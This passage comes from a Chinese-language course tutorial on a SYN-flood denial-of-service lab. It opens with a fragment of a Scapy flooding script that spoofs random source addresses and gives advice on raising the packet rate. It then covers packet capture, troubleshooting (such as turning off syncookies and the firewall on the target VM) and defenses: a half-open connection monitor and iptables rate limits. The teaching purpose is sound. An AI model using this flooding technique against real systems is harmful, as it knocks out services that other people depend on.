IP(srcsrc_ip, dstdst_ip) / TCP(sportsrc_port, dportstart_port, flagsS) send(pkt, verbose0) time.sleep(rate_interval)脚本里关键在于三个参数src_ip通过 f-string 随机生成 B 段和 C 段地址模拟分布式源src_port使用随机端口绕过对端按端口做的简单限制rate_interval控制发包间隔0.001 秒即每秒约 1000 包这个速率较温和适合对比实验。send(pkt, verbose0)表示静默发送不打印每个包的确认信息避免刷屏拖慢速率。要调整攻击强度只需要改rate_interval比如改成0.0001就是每秒上万包通常这个速率已经能在靶机上引发半连接队列溢出。用 Scapy 有一个额外好处它可以用src_ip固定来自写一个“源 IP 固定”的单源攻击版本用来对照验证分布式源 IP 的意义。你在实验报告里甚至可以画出两张图一张是单源攻击一张是随机源攻击对比靶机防御策略对不同特征流量的反应这比单纯堆命令要有价值得多。4.3 抓包取证用 tcpdump 把攻击过程固定下来实验不能只看一个ss数字真正的证据在报文里。我习惯在靶机上用 tcpdump 开一个抓包进程把攻击全程的数据包记录下来之后再拿到 Wireshark 里慢慢分析。抓包命令如下注意-c 5000是为了避免攻击流量过大把磁盘塞满抓到 5000 个包后自动停止# 在靶机上执行抓取到达80端口的TCP包保存为pcap文件 tcpdump -i eth0 -s 0 -c 5000 -w /tmp/attack.pcap tcp and dst port 80这条命令每个参数都有讲究-i eth0指定监听网卡必须和靶机实际网卡一致-s 0表示抓取完整数据包不截断这一步非常重要因为后续分析 SYN 标志位时如果包被截断TCP 头不完整过滤结果就会出错-c 5000是计数停止条件5000 个包足够分析特征又不会把文件撑爆-w /tmp/attack.pcap把原始包写入文件绝不能省略否则输出到终端会被刷爆。最后的过滤表达式tcp and dst port 80只保留 TCP 协议且目标端口是 80 的报文这在攻击场景下已经够用。抓包结束后直接用 tcpdump 从文件里统计 SYN 包数量验证攻击特征是否明显。下面这条命令会统计文件里所有 SYN 标志位的报文数量# 在靶机上执行统计pcap文件中的SYN包数量 tcpdump -r /tmp/attack.pcap -nn tcp[tcpflags] tcp-syn ! 0 2/dev/null | wc -l-r指定读取文件-nn不做端口名和主机名解析tcp[tcpflags] tcp-syn ! 0是伯克利包过滤语法里针对 TCP 标志位的位运算表达式专门匹配 SYN 标志位置位的包。如果这条命令统计出来的数量接近 5000也就是抓包数量说明绝大多数报文都是 SYN 包攻击特征非常纯粹。反过来如果发现 SYN 包只占一小部分那很可能是抓包时机没对准或者你抓的是正常业务流量。抓完包之后把 pcap 文件用 Wireshark 打开重点做三件事第一用tcp.flags.syn 1过滤出全部 SYN 包观察源 IP 的分布——随机源攻击下你会看到大量不同的源地址这是最直接的攻击证据第二查看 TCP 流的握手过程正常请求会看到 SYN、SYNACK、ACK 三个包依次出现而攻击流量里只有 SYN 和 SYNACK 的重复永远等不到 ACK第三用 Wireshark 的“统计”菜单生成 IO 图表把包速率曲线导出成图片直接贴进实验报告的效果分析部分。5. 拒绝服务攻击实验避坑指南5 个常见问题与排查思路5.1 现象一攻击机先挂了靶机却没事这是我第一次做实验时真实翻车的情况。hping3 加上--flood参数一跑攻击机本机瞬间失去响应ping 靶机也断了但靶机那边打开控制台一看负载几乎没变化。原因有两层。第一--flood模式会尽最大可能发包CPU 和网卡被打满攻击机自己成了第一个受害者第二虚拟机默认分配的单核 CPU 和一块虚拟网卡根本扛不住高速发包的软中断开销。这就好比你用一把枪在自己屋内开枪先震聋的是自己。解决方法是先用-c限制包数的命令做链路验证确认无误后再上强度如果一定要用--flood建议在攻击机的本地终端里执行不要远程 SSH 过去——远程会话在攻击机 CPU 打满时会直接断掉你连停止攻击的能力都没有。另外Kali 虚拟机至少分配 2 核 CPU网卡模式不要用 NAThost-only 或桥接直通性能更好。5.2 现象二抓包机丢包实验数据没法用在用 tcpdump 抓包时提示packets captured / packets dropped by kernel捕获的包数明显少于预期。实验做完发现统计结果和实际攻击包数对不上报告没法写。原因是抓包机性能不足或配置不当。抓包本身也是耗 CPU 和内存的当攻击流量速率很高时内核 socket 接收缓冲区塞满后续数据包直接被丢弃。特别是把抓包机和靶机放在同一台物理机上时两个虚拟机共享资源丢包更严重。解决的思路是先做隔离再做预留。抓包机尽量用独立的物理机或者在虚拟化平台上使用独立的主机网络适配器抓包时调整内核缓冲区大小在抓包前执行sysctl -w net.core.rmem_max50000000tcpdump 命令里可以使用-B参数加大缓冲区比如tcpdump -B 4096。我现在做实验时会先发 100 个测试包试试抓包机能不能全部接下再接后续的正式攻击。5.3 现象三攻击前后指标没变化怀疑工具没生效这个坑最具迷惑性。明明 hping3 在攻击机上发了半天靶机上ss显示半连接数还是 0CPU 负载纹丝不动业务访问完全正常。我上次在环境里碰见这个情况第一反应以为是命令打错了一排查才发现是靶机的系统默认配置帮了大忙。原因是多重的。最常见的是tcp_syncookies默认开启内核在队列溢出前就启用了 Cookie 握手机制你发再多的 SYN 包都被内核“巧妙”地处理掉了另一种可能是靶机防火墙策略拦截了异常流量还有可能是虚拟网络问题攻击机发出的包根本没到达靶机网卡。解决需要按顺序抽丝剥茧先在靶机上跑sysctl net.ipv4.tcp_syncookies确认值如果是 1先按第 3 章的命令改成 0再清空防火墙规则iptables -F或ufw disable最后在靶机上用tcpdump -i eth0 -c 100 tcp and dst port 80抓一下如果啥也抓不到回到虚拟网络配置查宿主机网卡有没有做带宽限制。把这三步走完基本能定位问题所在。5.4 现象四局域网被殃及宿主机也跟着掉线这个坑是运气好才没造成事故。某次实验我图省事攻击机和靶机全部接在 NAT 模式的默认虚拟网络里结果 SYN Flood 一开宿主机的物理网络直接闪断路由器重启才恢复。原因是--rand-source伪造了大量源 IP 的报文在虚拟交换机层面造成了 MAC 表和 ARP 表混乱虚拟机的广播流量挤占了宿主机的物理带宽如果攻击流量超过宿主机网卡的物理吞吐整台电脑的网络就会变得不可用。解决的底线是网络隔离。把实验网络从 NAT 模式改成 host-only 或自定义独立虚拟网络攻击机和靶机只在隔离网络内通信永远不要和宿主机共享同一网段。如果需要抓包机也把它放进同一个隔离网络。实验报告里可以画一张拓扑图标注“实验网络与外网物理隔离”这本身就是安全意识的加分项。5.5 现象五Wireshark 过滤不出 SYN 包抓了包文件也存下来了但在 Wireshark 里用tcp.flags.syn 1过滤结果却一个包都出不来或者过滤结果里混着大量乱七八糟的连接。我遇到过的原因有三种。第一种tcpdump 是在攻击机上抓的“出口包”抓到了本机生成但还没发出的包TCP 标志位不完整第二种-s参数没加或加了小数值报文被截断TCP 头部分析不了第三种抓包时间内攻击流量还没开始或者已经结束你抓的是空窗期。解决方法是统一在靶机上抓“入方向”的包用tcpdump -i eth0 -s 0 tcp and dst port 80同时注意先启动抓包再启动攻击保证时间窗覆盖。如果已经抓完用命令行先做一次过滤验证tcpdump -r /tmp/attack.pcap tcp[tcpflags] tcp-syn ! 0 | head -20能出内容再进 Wireshark避免在图形界面里反复试错。6. 防御与检测从被动挨打到主动识别攻击流量做实验不光是让靶机难看更要学会怎么让它“扛住”。我把第 3 章里弱化防御的操作反着执行一遍这就是最基本的防御恢复打开tcp_syncookies、调大半连接队列。但只做这一步等于在攻击面前竖起一道矮墙真正有点意思的是主动检测和流量限速。先说检测一个简单的半连接数监测脚本就能在攻击发生时及时报警#!/bin/bash # 靶机执行监控半连接数超过阈值写入日志 threshold200 while true; do syn_recv$(ss -tan state syn-recv | wc -l) if [ $syn_recv -gt $threshold ]; then echo $(date %F %T) 拒绝服务攻击预警: SYN_RECV$syn_recv (阈值$threshold) /var/log/dos_watch.log fi sleep 2 done这个脚本每秒采集一次半连接数超过 200 就写日志你可以把这个阈值依据第 3 章采集的基线来定一般是正常值的 3 到 5 倍。它不消耗多少资源开着也不碍事但攻击一来日志会立刻留下时间戳和当时的半连接值这是对抗类实验里最直接的证据。比这更进一步的防护是在 iptables 层面限制 SYN 包速率模拟真实防火墙的限速行为# 靶机执行对SYN包做速率限制仅用于实验演示 iptables -A INPUT -p tcp --syn -m limit --limit 20/s --limit-burst 50 -j ACCEPT iptables -A INPUT -p tcp --syn -j DROP第一条规则允许每秒 20 个 SYN 包进入突发上限是 50第二条规则把超过限制的 SYN 包直接丢掉。在攻击强度不是特别夸张时这条规则能保证正常用户握手成功同时让攻击者的包大量被丢弃。你可以重新运行第 4 章的攻击命令再看检测脚本会不会刷屏以及正常 TCP 请求能否连通。这整套流程走下来你的实验报告就从一个“把机器打死”的记录升级成了“攻击、检测、防御、验证”的闭环。做网络攻击与防范这门课的实验最大的收获不是把靶机打瘫那一瞬间的爽感而是知道打完以后怎么收拾残局、怎么把现象解释清楚。我现在的习惯是每次实验结束先把所有内核参数恢复默认再关虚拟机从没出过岔子。希望你也能保存好这套完整流程实验顺利希望帮到你。本文还有配套的精品资源点击获取